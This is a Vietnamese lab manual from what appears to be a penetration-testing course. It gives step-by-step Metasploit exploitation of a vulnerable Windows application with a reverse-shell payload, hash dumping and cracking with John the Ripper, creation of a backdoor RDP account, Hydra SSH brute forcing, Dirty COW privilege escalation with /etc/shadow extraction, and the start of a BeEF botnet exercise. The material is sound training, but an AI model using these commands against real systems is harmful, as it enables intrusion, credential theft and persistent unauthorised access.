- Khi bạn nhấp vào Chạy trên máy Bộ phận Quảng cáo, một phiên meterpreter sẽ được mở trong máy Parrot như được hiển thị trong ảnh chụp màn hình. Chuyển sang máy Parrot.
(Ảnh chụp màn hình hiển thị phiên meterpreter đã thiết lập trên máy Parrot)
- Nhập lệnh getsystem trong shell meterpreter và nhấn Enter. Thao tác này sẽ leo thang đặc quyền của bạn để truy cập máy nạn nhân.
(Ảnh chụp màn hình hiển thị lệnh getsystem và đầu ra của nó)
- Nhập lệnh run post/windows/gather/hashdump và nhấn Enter. Lệnh này trích xuất tất cả băm LM và NTLM từ máy mục tiêu khi hiển thị chúng như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh run post/windows/gather/hashdump và đầu ra của nó)
- Nhấp vào biểu tượng thứ ba (màu hồng) trên thanh tác vụ để mở tệp văn bản.
(Ảnh chụp màn hình hiển thị thanh tác vụ với biểu tượng trình soạn thảo văn bản được tô sáng)
- Chuyển sang dòng lệnh terminal, chọn băm thu được cho người dùng rebecca, steve, sam và anderson, nhấp chuột phải vào băm và sao chép chúng.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh hashdump với băm được tô sáng)
- Bây giờ, dán nội dung băm đã sao chép vào tệp văn bản mới mở.
(Ảnh chụp màn hình hiển thị tệp văn bản với nội dung băm được dán)
- Chọn Tệp từ thanh menu và nhấp vào Lưu.
(Ảnh chụp màn hình hiển thị menu Tệp trong trình soạn thảo văn bản với tùy chọn Lưu được tô sáng)
- Một cửa sổ Lưu dưới dạng xuất hiện, nhập hashes.txt trong trường Tên và chọn Desktop làm vị trí để lưu tệp và nhấp vào Lưu. Đóng tất cả các cửa sổ đã mở.
(Ảnh chụp màn hình hiển thị cửa sổ Lưu dưới dạng)
- Bây giờ, bạn cần giải mã băm mật khẩu. Bạn sẽ sử dụng công cụ John the Ripper để giải mã chúng. Trước khi khởi chạy john the ripper, bạn cần tắt CPUID. Để thực hiện tác vụ này, hãy khởi chạy một terminal dòng lệnh mới, nhập export CPUID_DISABLE=1 và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh export CPUID_DISABLE=1 và đầu ra của nó)
- Vì băm thu được ở định dạng “nt”, hãy đưa ra lệnh sudo john –format=nt /home/pentester/Desktop/hashes.txt và nhấn Enter.
Nhập toor và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh sudo john –format=nt /home/pentester/Desktop/hashes.txt và đầu ra của nó)
- Đợi cho đến khi băm được giải mã thành công. Khi giải mã băm thành công, bạn sẽ được hiển thị mật khẩu như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh john với mật khẩu bị bẻ khóa)
- Bây giờ bạn đã có tên người dùng và mật khẩu tương ứng của chúng. Bạn có thể sử dụng các thông tin đăng nhập này để đăng nhập từ xa vào máy mục tiêu.
- Để làm việc thông qua quá trình đăng nhập từ xa thông qua GUI; bạn có thể sử dụng lệnh getgui thông qua shell meterpreter. Để sử dụng, chuyển sang shell meterpreter và nhập lệnh run getgui -e. Thao tác này bật kết nối máy tính để bàn từ xa trên máy mục tiêu.
Lưu ý: Nếu nó nhắc bạn về lệnh không được dùng nữa, bạn có thể bỏ qua nó.
Tuy nhiên, họ có thể xóa nó và buộc bạn sử dụng đường dẫn mô-đun hậu mà nó đang hiển thị.
(Ảnh chụp màn hình hiển thị lệnh run getgui -e và đầu ra của nó)
- Bây giờ, hãy kết nối với máy thông qua kết nối máy tính để bàn từ xa. Ở đây, bạn có thể đăng nhập bằng thông tin đăng nhập mà bạn đã bẻ khóa trước đó hoặc tạo người dùng cho rdp và kết nối bằng nó. Nếu người dùng mà bạn đang cố gắng kết nối không phải là thành viên của người dùng máy tính để bàn từ xa, bạn sẽ không thể kết nối với nó. Vì vậy, để tránh bất kỳ sự không chắc chắn nào như vậy, bạn có thể tự tạo người dùng và sau đó kết nối với nó. Để làm như vậy, nhập run getgui -u CPENT -p cpentpw@123 và nhấn Enter. Điều này sẽ tạo ra một người dùng có tên CPENT với mật khẩu cpentpw@123.
(Ảnh chụp màn hình hiển thị lệnh run getgui -u CPENT -p cpentpw@123 và đầu ra của nó)
- Chúng tôi sẽ đăng nhập vào kết nối thông qua người dùng CPENT. Vì vậy, hãy khởi chạy một terminal dòng lệnh mới, nhập sudo terminal, nhập lệnh xfreerdp /u:CPENT /p:cpentpw@123 /v:172.19.19.15 và nhấn Enter.
o /u:USERNAME là tên của tài khoản trên máy tính mà chúng ta đang kết nối
o /p:PASSWORD là mật khẩu của tài khoản đã chỉ định
o /v:HOST là địa chỉ IP hoặc tên của máy tính mà máy tính để bàn từ xa sẽ được kết nối
(Ảnh chụp màn hình hiển thị lệnh xfreerdp và đầu ra của nó)
- Nếu bạn được thông báo về chứng chỉ, hãy nhập Y và nhấn Enter.
(Ảnh chụp màn hình hiển thị lời nhắc chứng chỉ cho xfreerdp)
- Desktop của máy mục tiêu xuất hiện, hiển thị server manager như được hiển thị trong ảnh chụp màn hình sau:
(Ảnh chụp màn hình hiển thị Desktop của máy mục tiêu với server manager)
- Trong bài thực hành này, bạn đã học cách:
o Khai thác máy dễ bị tấn công
o Lấy băm mật khẩu
o Bẻ khóa băm mật khẩu
o Làm việc thông qua quá trình bật máy tính để bàn từ xa thông qua shell
o Thêm người dùng vào máy và sau đó sử dụng tài khoản đó và kết nối với máy
- Đây là quá trình cần thực hiện, bất kể bạn gặp mục tiêu nào. Nếu bạn đang sử dụng máy Windows, đánh giá của bạn xác nhận cấu hình là chính xác cho cuộc tấn công, thì quá trình này sẽ hoạt động.
- Bài thực hành này kết thúc tại đây.
- Bạn cần chụp ảnh màn hình của phiên meterpreter đã thiết lập và băm mật khẩu thu được và lưu chúng vào thư mục kiểm tra thâm nhập.
Bài tập 21: Kiểm tra thâm nhập Lỗ hổng tràn bộ đệm trên ứng dụng Windows
Kịch bản
Trong bảo mật máy tính và lập trình, lỗ hổng tràn bộ đệm hoặc lỗ hổng tràn bộ đệm xuất hiện khi một ứng dụng cần đọc thông tin bên ngoài như chuỗi ký tự, nhưng bộ đệm nhận tương đối nhỏ so với kích thước có thể có của chuỗi đầu vào và ứng dụng không kiểm tra kích thước. Bộ đệm được cấp phát tại thời điểm chạy được đặt trên ngăn xếp, nơi lưu giữ thông tin để thực thi các hàm, chẳng hạn như biến cục bộ, biến đối số và địa chỉ trả về. Chuỗi tràn có thể thay đổi thông tin đó. Điều này cũng có nghĩa là kẻ tấn công có thể thay đổi thông tin theo ý muốn. Ví dụ: kẻ tấn công có thể chèn một loạt các lệnh ngôn ngữ máy như một chuỗi cũng dẫn đến việc thực thi mã tấn công bằng cách thay đổi địa chỉ trả về thành địa chỉ của mã tấn công. Mục tiêu cuối cùng thường là giành quyền kiểm soát shell đặc quyền bằng các phương pháp như vậy.
Là một người kiểm tra thâm nhập, bạn phải có khả năng hiểu khái niệm về lỗ hổng tràn bộ đệm và kiểm tra chúng.
Trong bài thực hành này, bạn sẽ kiểm tra lỗ hổng tràn bộ đệm trên ứng dụng windows và có quyền truy cập vào hệ thống.
Thời gian thực hành: 20 phút
- Bài thực hành này là một phần của kiểm tra thâm nhập hộp trắng, nơi bạn được thông báo rằng có một ứng dụng có tên VideoCharge Studio được cài đặt trên hệ thống. Trong bài thực hành này, chúng tôi sẽ kiểm tra lỗ hổng tràn bộ đệm có trong ứng dụng này. Vì vậy, trước khi bắt đầu bài thực hành này, chúng tôi sẽ cài đặt VideoCharge Studio trong máy Bộ phận Bán hàng (Windows 10). Chọn Bộ phận Bán hàng từ ngăn Tài nguyên và đăng nhập vào đó bằng thông tin đăng nhập Admin/test@123. Sau khi bạn đăng nhập vào máy, nếu biểu ngữ Mạng xuất hiện ở góc bên phải của Màn hình nền, hãy nhấp vào Có.
Bạn có thể sử dụng tùy chọn Nhập Mật khẩu từ menu Lệnh để nhập mật khẩu.
(Ảnh chụp màn hình hiển thị màn hình đăng nhập cho máy Bộ phận Bán hàng)
- Để cài đặt VideoCharge Studio, hãy điều hướng đến \172.19.19.20\e\CPENT Module 06 Network Penetration Testing Methodology-Internal\VideoCharge Studio và nhấp đúp vào VideoChargeStudio_Install.exe để cài đặt công cụ.
Nếu cửa sổ bật lên Kiểm soát Tài khoản Người dùng xuất hiện, hãy nhấp vào Có.
Nếu cửa sổ bật lên Windows Security xuất hiện để truy cập \172.19.19.20, hãy cung cấp thông tin đăng nhập Windows Server 2019, tức là:
Tên người dùng: Quản trị viên
Mật khẩu: Pa
w0rd
và nhấp vào OK.
Nếu cửa sổ bật lên Open File – Security Warning xuất hiện, hãy nhấp vào Run.
(Ảnh chụp màn hình hiển thị cửa sổ File Explorer với VideoChargeStudio_Install.exe được tô sáng)
- Trình hướng dẫn VideoCharge Studio – InstallShield xuất hiện, nhấp vào Next để tiếp tục. Chấp nhận thỏa thuận cấp phép và sau đó, làm theo các bước cài đặt hướng dẫn bằng trình hướng dẫn để cài đặt ứng dụng.
(Ảnh chụp màn hình hiển thị trang Chào mừng của Trình hướng dẫn InstallShield)
- Ở cuối quá trình cài đặt, nhấp vào Finish. Nếu cửa sổ bật lên Ngôn ngữ xuất hiện, hãy nhấp vào OK (nghĩa là chúng tôi đang chọn English làm ngôn ngữ mặc định).
(Ảnh chụp màn hình hiển thị trang Hoàn thành của Trình hướng dẫn InstallShield)
- Cửa sổ bật lên VideoCharge Studio Trial version xuất hiện, nhấp vào nút Quit để đóng cửa sổ. Ngoài ra, đóng cửa sổ đã điều hướng nơi tệp trình cài đặt được đặt.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên VideoCharge Studio Trial version)
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Khởi chạy dòng lệnh terminal, nhập msfconsole và nhấn Enter để khởi chạy khuôn khổ Metasploit.
(Ảnh chụp màn hình hiển thị lệnh msfconsole và đầu ra của nó)
- Bây giờ, chúng ta sẽ tìm kiếm thông qua cơ sở dữ liệu msf để tìm một khai thác phù hợp. Nhập search videocharge và nhấn Enter. Thao tác này sẽ trả về (các) khai thác liên quan đến ứng dụng. Chúng tôi sẽ sử dụng khai thác này để thực hiện tràn bộ đệm trên ứng dụng.
(Ảnh chụp màn hình hiển thị lệnh search videocharge và đầu ra của nó)
- Nhập use exploit/windows/fileformat/videocharge_studio và nhấn Enter. Nếu chúng tôi đang gán bất kỳ payload nào cho khai thác, thì nó sẽ lấy payload mặc định là set payload windows/meterpreter/reverse_tcp. Dù sao thì khai thác này cũng sử dụng payload mặc định.
(Ảnh chụp màn hình hiển thị lệnh use exploit/windows/fileformat/videocharge_studio và đầu ra của nó)
- Nhập set lhost 172.19.19.18 (Địa chỉ IP của máy Parrot) và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh set lhost 172.19.19.18 và đầu ra của nó)
- Nhập exploit và nhấn Enter. Thao tác này tạo ra một payload độc hại có tên msf.vsc trong thư mục /home/pentester/.msf4/local.
(Ảnh chụp màn hình hiển thị lệnh exploit cho videocharge_studio và đầu ra của nó)
- Bây giờ, nhập use exploit/multi/handler và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh use exploit/multi/handler và đầu ra của nó)
- Nhập set payload windows/meterpreter/reverse_tcp và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh set payload windows/meterpreter/reverse_tcp và đầu ra của nó)
- Nhập set lhost 172.19.19.18 và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh set lhost 172.19.19.18 và đầu ra của nó)
- Nhập exploit và nhấn Enter. Bây giờ Trình lắng nghe đang hoạt động và khi payload được thực thi trên máy nạn nhân, thì phiên meterpreter sẽ xuất hiện.
(Ảnh chụp màn hình hiển thị lệnh exploit cho multi/handler và đầu ra của nó)
- Khởi chạy một terminal dòng lệnh mới và nhập sudo su và nhấn Enter. Nhập toor và nhấn Enter để có quyền root. Nhập service apache2 start và nhấn Enter để khởi động dịch vụ apache2.
Nếu bạn đang tiếp tục với bài thực hành trước đó (Khai thác và Leo thang Đặc quyền trên Hệ điều hành Windows) thì bạn có thể trực tiếp chuyển sang bước 19.
(Ảnh chụp màn hình hiển thị lệnh sudo su, service apache2 start và đầu ra của chúng)
- Nhập mkdir /var/www/html/share và nhấn Enter để tạo một thư mục mới có tên share.
(Ảnh chụp màn hình hiển thị lệnh mkdir /var/www/html/share và đầu ra của nó)
- Sao chép payload độc hại vào thư mục share bằng cách thực thi lệnh sau: cp /home/pentester/.msf4/local/msf.vsc /var/www/html/share/
(Ảnh chụp màn hình hiển thị lệnh cp /home/pentester/.msf4/local/msf.vsc /var/www/html/share/ và đầu ra của nó)
- Nhấp vào @lab.VirtualMachine(SalesDepartmentSubnetD).Chọn Liên kết, khởi chạy trình duyệt web Google Chrome, nhập URL http://172.19.19.18/share vào thanh địa chỉ và nhấn Enter. Thao tác này sẽ hiển thị tệp được chia sẻ trong trình duyệt như được hiển thị trong ảnh chụp màn hình bên dưới.
Vì đây là trình diễn thực hành, chúng tôi đang truy cập trực tiếp vào vị trí được chia sẻ từ máy Windows.
Trong thời gian thực, kẻ tấn công có thể tạo các payload tương tự, chia sẻ liên kết tải xuống với nạn nhân và dụ dỗ họ tải xuống và thực thi ứng dụng, do đó dẫn đến shell ngược.
(Ảnh chụp màn hình hiển thị tệp msf.vsc được chia sẻ trong trình duyệt web)
- Nhấp chuột phải vào tệp msf.vsc và nhấp vào tùy chọn Save link as….
(Ảnh chụp màn hình hiển thị menu ngữ cảnh cho tệp msf.vsc với tùy chọn Save link as… được tô sáng)
- Chọn Desktop từ ngăn bên trái làm vị trí tải xuống. Nhập msf vào trường Tên tệp và nhấp vào Save.
(Ảnh chụp màn hình hiển thị cửa sổ Lưu dưới dạng)
- Bạn có thể thấy payload độc hại đã tải xuống trên Desktop. Bây giờ, nhấp đúp vào tệp msf.vsc và nhấp vào nút Try để thực thi payload. Sau khi thực thi payload msf.vsc, tràn bộ đệm xảy ra trên ứng dụng và điều này dẫn đến khai thác windows, do đó có được shell meterpreter cho chúng tôi.
(Ảnh chụp màn hình hiển thị VideoCharge Studio với payload được tải)
- Nhấp vào Parrot. Mở Trình lắng nghe đã được khởi chạy trước đó trong bài thực hành này. Bạn có thể thấy một phiên meterpreter đang hoạt động.
(Ảnh chụp màn hình hiển thị phiên meterpreter đang hoạt động trên Parrot)
- Nhập sysinfo để lấy thông tin máy nạn nhân. Đóng tất cả các cửa sổ đang mở.
(Ảnh chụp màn hình hiển thị lệnh sysinfo và đầu ra của nó)
Trong bài thực hành này, bạn đã học được cách kiểm tra thâm nhập lỗ hổng tràn bộ đệm trên ứng dụng windows và có quyền truy cập vào hệ thống.
Bài tập 22: Khai thác và leo thang đặc quyền trên hệ điều hành Linux
Kịch bản
Leo thang đặc quyền là một kỹ thuật mà kẻ tấn công cố gắng giành quyền superuser/root trên hệ thống đã bị xâm nhập. Tấn công leo thang đặc quyền lợi dụng khai thác, lỗi hoặc lỗ hổng thiết kế để cấp cho kẻ tấn công quyền truy cập không hạn chế vào mạng hoặc hệ điều hành.
Là một người kiểm tra thâm nhập, bạn cần có khả năng xác định các máy như vậy dễ bị tấn công leo thang đặc quyền.
Trong bài thực hành này, bạn sẽ tìm hiểu cách bẻ khóa thông tin đăng nhập người dùng yếu, có quyền truy cập vào máy Linux và sau đó, đạt được quyền truy cập nâng cao vào máy.
Thời gian thực hành: 30 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn là người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Chúng ta sẽ thực hiện quét Nmap aggressive để xem các cổng đang mở. Khởi chạy terminal, nhập sudo su và nhấn Enter, nhập toor và nhấn Enter để có quyền root.
Nhập nmap -T4 -A 172.19.19.70 và nhấn Enter để thực hiện quét aggressive trên máy chủ 172.19.19.70. Nmap mất khoảng hai phút để hoàn thành quét.
(Ảnh chụp màn hình hiển thị lệnh sudo su, nmap -T4 -A 172.19.19.70 và đầu ra của chúng)
- Nmap quét máy mục tiêu và hiển thị đầu ra như được hiển thị trong ảnh chụp màn hình.
Chúng tôi quan sát thấy rằng chỉ có cổng 22 đang mở trên máy.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh nmap)
- Vì cổng 22 đang mở, chúng tôi sẽ thực hiện tấn công từ điển trên cổng bằng Hydra để xem liệu chúng tôi có thể xác định bất kỳ thông tin đăng nhập người dùng yếu nào hay không. Các thông tin đăng nhập người dùng này sẽ giúp có được shell ssh vào máy. Nhập lệnh sau và nhấn Enter:
hydra -L /home/pentester/Wordlists/Usernames.txt -P /home/pentester/Wordlists/Passwords.txt 172.19.19.70 ssh
(Ảnh chụp màn hình hiển thị lệnh hydra và đầu ra của nó)
- Hydra mất khoảng 3 phút để hoàn thành tấn công từ điển và hiển thị thông tin đăng nhập người dùng bị bẻ khóa như được hiển thị trong ảnh chụp màn hình bên dưới. Nhấn Ctrl+C để dừng quét.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh hydra với thông tin đăng nhập người dùng bị bẻ khóa)
- Bây giờ, chúng ta sẽ kết nối với máy mục tiêu thông qua SSH bằng thông tin đăng nhập người dùng đã có được. Nhập ssh aleksander@172.19.19.70 trong terminal và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh ssh aleksander@172.19.19.70 và đầu ra của nó)
- Nhập yes và nhấn Enter để kết nối với mục tiêu.
(Ảnh chụp màn hình hiển thị lời nhắc xác nhận SSH với yes được nhập)
- Nhập mật khẩu dolphin và nhấn Enter. Mật khẩu bạn nhập sẽ không hiển thị.
(Ảnh chụp màn hình hiển thị lời nhắc mật khẩu SSH)
- Bạn đã kết nối thành công với máy mục tiêu qua SSH như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị phiên SSH đã thiết lập)
- Nhập uname -a và nhấn Enter để xem thông tin liên quan đến hệ điều hành. Có thể thấy rằng thông tin liên quan đến hệ điều hành mục tiêu như tên Hệ điều hành, phiên bản Kernel và ngày phát hành Hệ điều hành được hiển thị như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị lệnh uname -a và đầu ra của nó)
- Nhập lsb_release -a và nhấn Enter. Điều này sẽ hiển thị thông tin cụ thể về phân phối như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh lsb_release -a và đầu ra của nó)
- Bây giờ, chúng ta hãy xem liệu người dùng chúng ta có được có phải là người dùng super/root hay không. Nhập sudo su và nhấn Enter. Bạn sẽ được yêu cầu nhập mật khẩu. Nhập mật khẩu dolphin và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh sudo su và đầu ra của nó)
- Bạn sẽ thấy rằng người dùng “aleksander” không phải là một phần của tệp sudoers, nghĩa là anh ta là người dùng bình thường.
(Ảnh chụp màn hình hiển thị thông báo lỗi sudoers)
- Bây giờ, chúng ta sẽ tìm tệp có tên secret.txt và kiểm tra các thuộc tính quyền tệp của nó. Để tìm tệp, nhập locate secret.txt và nhấn Enter. Nó sẽ hiển thị vị trí của tệp như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị lệnh locate secret.txt và đầu ra của nó)
- Nhập ls -la /home/administrator/Documents/secret.txt và nhấn Enter. Điều này sẽ hiển thị các thuộc tính quyền tệp của tệp secret.txt như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh ls -la /home/administrator/Documents/secret.txt và đầu ra của nó)
- Có thể thấy rằng tệp chỉ có quyền đọc (400) cho quản trị viên, nghĩa là bạn không thể đọc nội dung tệp cho đến khi bạn là người dùng super. Để kiểm tra, nhập cat /home/administrator/Documents/secret.txt và nhấn Enter. Shell trả về lỗi cho biết bạn không có đủ quyền để đọc nội dung tệp.
(Ảnh chụp màn hình hiển thị lệnh cat /home/administrator/Documents/secret.txt và lỗi quyền bị từ chối)
- Bây giờ, chúng ta sẽ cố gắng thực hiện leo thang đặc quyền trên máy để đạt được quyền truy cập superuser. Thu nhỏ terminal dòng lệnh.
- Chúng ta hãy tìm kiếm các khai thác có sẵn công khai giúp có được quyền truy cập root vào máy. Chúng tôi sẽ sử dụng SearchSploit để tìm các khai thác. Trong bài thực hành này, chúng tôi đang sử dụng khai thác dirty cow để leo thang đặc quyền trên máy Ubuntu. Vì vậy, hãy khởi chạy một terminal dòng lệnh mới, nhập searchsploit dirty cow và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh searchsploit dirty cow và đầu ra của nó)
- SearchSploit tìm kiếm tất cả các khai thác chứa thuật ngữ dirty cow trong cơ sở dữ liệu của nó và hiển thị chúng như được hiển thị trong ảnh chụp màn hình. Trong bài thực hành này, chúng tôi sẽ sử dụng 40847.cpp (khai thác cuối cùng trong kết quả tìm kiếm) để thực hiện leo thang đặc quyền.
- Để sao chép khai thác vào thư mục gốc, hãy nhập searchsploit -m linux/local/40847.cpp và nhấn Enter. Thao tác này sẽ sao chép mã khai thác vào thư mục gốc như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị lệnh searchsploit -m linux/local/40847.cpp và đầu ra của nó)
- Bây giờ, chúng ta cần thêm tệp cpp này vào máy mục tiêu (172.19.19.70). Vì không thể sao chép tệp, chúng ta sẽ sao chép nội dung bên trong tệp, tạo tệp cpp trong shell Ubuntu bằng trình soạn thảo vim và sau đó dán nội dung vào tệp đó. Nhập pluma 40847.cpp và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh pluma 40847.cpp và đầu ra của nó)
- Nội dung tệp lập trình C mở ra trong trình soạn thảo văn bản. Chọn tất cả nội dung và sao chép nó.
(Ảnh chụp màn hình hiển thị nội dung tệp 40847.cpp trong trình soạn thảo văn bản)
- Quay lại shell ssh, nhập vim 40847.cpp và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh vim 40847.cpp và đầu ra của nó)
- Trình soạn thảo vim mở ra trong shell. Nhập i để bắt đầu chèn.
(Ảnh chụp màn hình hiển thị trình soạn thảo vim ở chế độ chèn)
- Bây giờ, hãy dán nội dung tệp vào trình soạn thảo như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị nội dung tệp được dán vào trình soạn thảo vim)
- Sau khi nội dung được dán vào trình soạn thảo, nhấn phím Esc. Bây giờ bạn sẽ có thể ghi tệp. Nhập :wq và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh :wq trong trình soạn thảo vim)
- Nhập g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil và nhấn Enter. Thao tác này sẽ biên dịch tệp lập trình C và lưu nó với tên dcow.
(Ảnh chụp màn hình hiển thị lệnh g++ và đầu ra của nó)
- Bây giờ, nhập ./dcow -s và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh ./dcow -s và đầu ra của nó)
- Mã khai thác chạy trong terminal và hiển thị shell root như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị shell root)
- Nhập cat /home/administrator/Documents/secret.txt và nhấn Enter. Bây giờ, bạn sẽ có thể xem nội dung của tệp (Leo thang Thành công!!!) như được hiển thị trong ảnh chụp màn hình sau.
(Ảnh chụp màn hình hiển thị nội dung của tệp secret.txt)
- Nhập cat /etc/passwd và nhấn Enter để xem tất cả các tài khoản người dùng trong máy.
(Ảnh chụp màn hình hiển thị nội dung của tệp /etc/passwd)
- Bạn sẽ thấy rằng có thêm ba tài khoản người dùng (ngoại trừ administrator và aleksander) trên máy có tên shane, rebecca và steve. Bây giờ chúng ta sẽ cố gắng lấy băm mật khẩu liên quan đến những người dùng này và bẻ khóa chúng bằng (băm của mật khẩu yếu) John the Ripper.
(Ảnh chụp màn hình hiển thị nội dung của tệp /etc/passwd với các tài khoản người dùng được tô sáng)
- Chọn toàn bộ nội dung trong tệp passwd và sao chép nó.
(Ảnh chụp màn hình hiển thị menu ngữ cảnh cho tệp passwd với tùy chọn Sao chép được tô sáng)
- Khởi chạy một terminal dòng lệnh mới, nhập touch password.txt và nhấn Enter. Thao tác này sẽ tạo ra một tệp văn bản có tên password.txt trong thư mục Home của Parrot.
(Ảnh chụp màn hình hiển thị lệnh touch password.txt và đầu ra của nó)
- Mở tệp password.txt và dán nội dung passwd mà bạn đã sao chép trong tác vụ trước đó. Lưu tệp và đóng nó lại.
(Ảnh chụp màn hình hiển thị tệp password.txt với nội dung được dán)
- Chuyển về terminal ssh, nhập cat /etc/shadow, và nhấn Enter. Nội dung của tệp shadow xuất hiện, chọn toàn bộ nội dung và sao chép nó.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh cat /etc/shadow)
- Chuyển về terminal dòng lệnh Parrot, nhập touch shadow.txt và nhấn Enter. Thao tác này sẽ tạo ra một tệp văn bản có tên shadow.txt trong thư mục Home của Parrot.
(Ảnh chụp màn hình hiển thị lệnh touch shadow.txt và đầu ra của nó)
- Mở tệp shadow.txt và dán nội dung shadow mà bạn đã sao chép trong tác vụ trước đó. Lưu tệp và đóng nó lại.
(Ảnh chụp màn hình hiển thị tệp shadow.txt với nội dung được dán)
- Bây giờ, chúng ta sẽ hợp nhất cả hai tệp bằng lệnh unshadow. Chuyển sang terminal dòng lệnh Parrot, nhập unshadow password.txt shadow.txt > unshadow và nhấn Enter. Thao tác này tạo ra một tệp unshadow, mà chúng ta sẽ sử dụng với John the Ripper.
(Ảnh chụp màn hình hiển thị lệnh unshadow và đầu ra của nó)
- Trước khi khởi chạy John the Ripper, nhập export CPUID_DISABLE=1 và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh export CPUID_DISABLE=1 và đầu ra của nó)
- Bây giờ, chúng ta sẽ bẻ khóa băm mật khẩu bằng John the Ripper. Nhập sudo john unshadow và nhấn Enter. Gõ toor và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh sudo john unshadow và đầu ra của nó)
- John the Ripper bắt đầu phân tích băm SHA512 và bẻ khóa mật khẩu như được hiển thị trong ảnh chụp màn hình bên dưới. Do đó, chúng tôi đã bẻ khóa thành công băm của mật khẩu yếu bằng John the Ripper.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh john với mật khẩu bị bẻ khóa)
- Do đó, chúng tôi đã có được quyền root trên máy Ubuntu 16.04.1 và bẻ khóa băm mật khẩu.
Trong bài thực hành này, bạn đã học được cách bẻ khóa thông tin đăng nhập người dùng yếu, có quyền truy cập vào máy Linux và sau đó đạt được quyền truy cập nâng cao vào máy.
Bài tập 23: Kiểm tra thâm nhập các máy dễ bị tấn công và tạo Botnet
Kịch bản
BeEF là viết tắt của The Browser Exploitation Framework. Nó là một công cụ kiểm tra thâm nhập tập trung vào trình duyệt web. Trong bối cảnh lo ngại ngày càng tăng về các cuộc tấn công qua web nhắm vào máy khách, bao gồm cả máy khách di động, BeEF cho phép người kiểm tra thâm nhập chuyên nghiệp đánh giá trạng thái bảo mật thực tế của môi trường mục tiêu bằng cách sử dụng các vectơ tấn công phía máy khách. Không giống như các khuôn khổ bảo mật khác, BeEF xem xét qua vành đai mạng được củng cố và hệ thống máy khách và kiểm tra khả năng khai thác trong bối cảnh của một cánh cửa mở: trình duyệt web. BeEF sẽ móc một hoặc nhiều trình duyệt web và sử dụng chúng làm bàn đạp để khởi chạy các mô-đun lệnh trực tiếp và các cuộc tấn công tiếp theo chống lại hệ thống từ trong ngữ cảnh trình duyệt.
Mục tiêu của bài thực hành này là giúp học viên học cách:
• Sử dụng Browser Exploitation Framework (BeEF)
• Lấy thông tin đăng nhập của tài khoản người dùng ở dạng văn bản thuần túy
• Thiết lập botnet của các máy dễ bị tấn công
Thời gian thực hành: 25 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn là người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Khởi chạy khuôn khổ BeEF. Điều hướng đến Applications | Pentesting | Exploitation Tools | Web Applications | beef xss framework.
(Ảnh chụp màn hình hiển thị menu Applications với beef xss framework được tô sáng)
- Nhập toor và nhấn Enter.
(Ảnh chụp màn hình hiển thị lời nhắc mật khẩu)
- Vui lòng nhập mật khẩu mới xuất hiện lời nhắc, nhập mật khẩu bạn chọn. Trong bài tập này, chúng tôi đang nhập mật khẩu là test.
(Ảnh chụp màn hình hiển thị lời nhắc mật khẩu BeEF)
- Sao chép liên kết http://127.0.0.1:3000/ui/panel. Bạn sẽ phải truy cập trang này trong trình duyệt web và đăng nhập vào nó. Thu nhỏ cửa sổ terminal.
(Ảnh chụp màn hình hiển thị đầu ra của beef-xss với URL bảng điều khiển)
- Nhấp vào biểu tượng Firefox từ thanh menu và dán URL đã sao chép vào thanh địa chỉ của trình duyệt và nhấn Enter. Trang đăng nhập BeEF xuất hiện trên trình duyệt. Nhập thông tin đăng nhập sau để đăng nhập vào ứng dụng web và nhấp vào nút Login:
Tên người dùng: beef
Mật khẩu: test
(Ảnh chụp màn hình hiển thị trang đăng nhập BeEF)
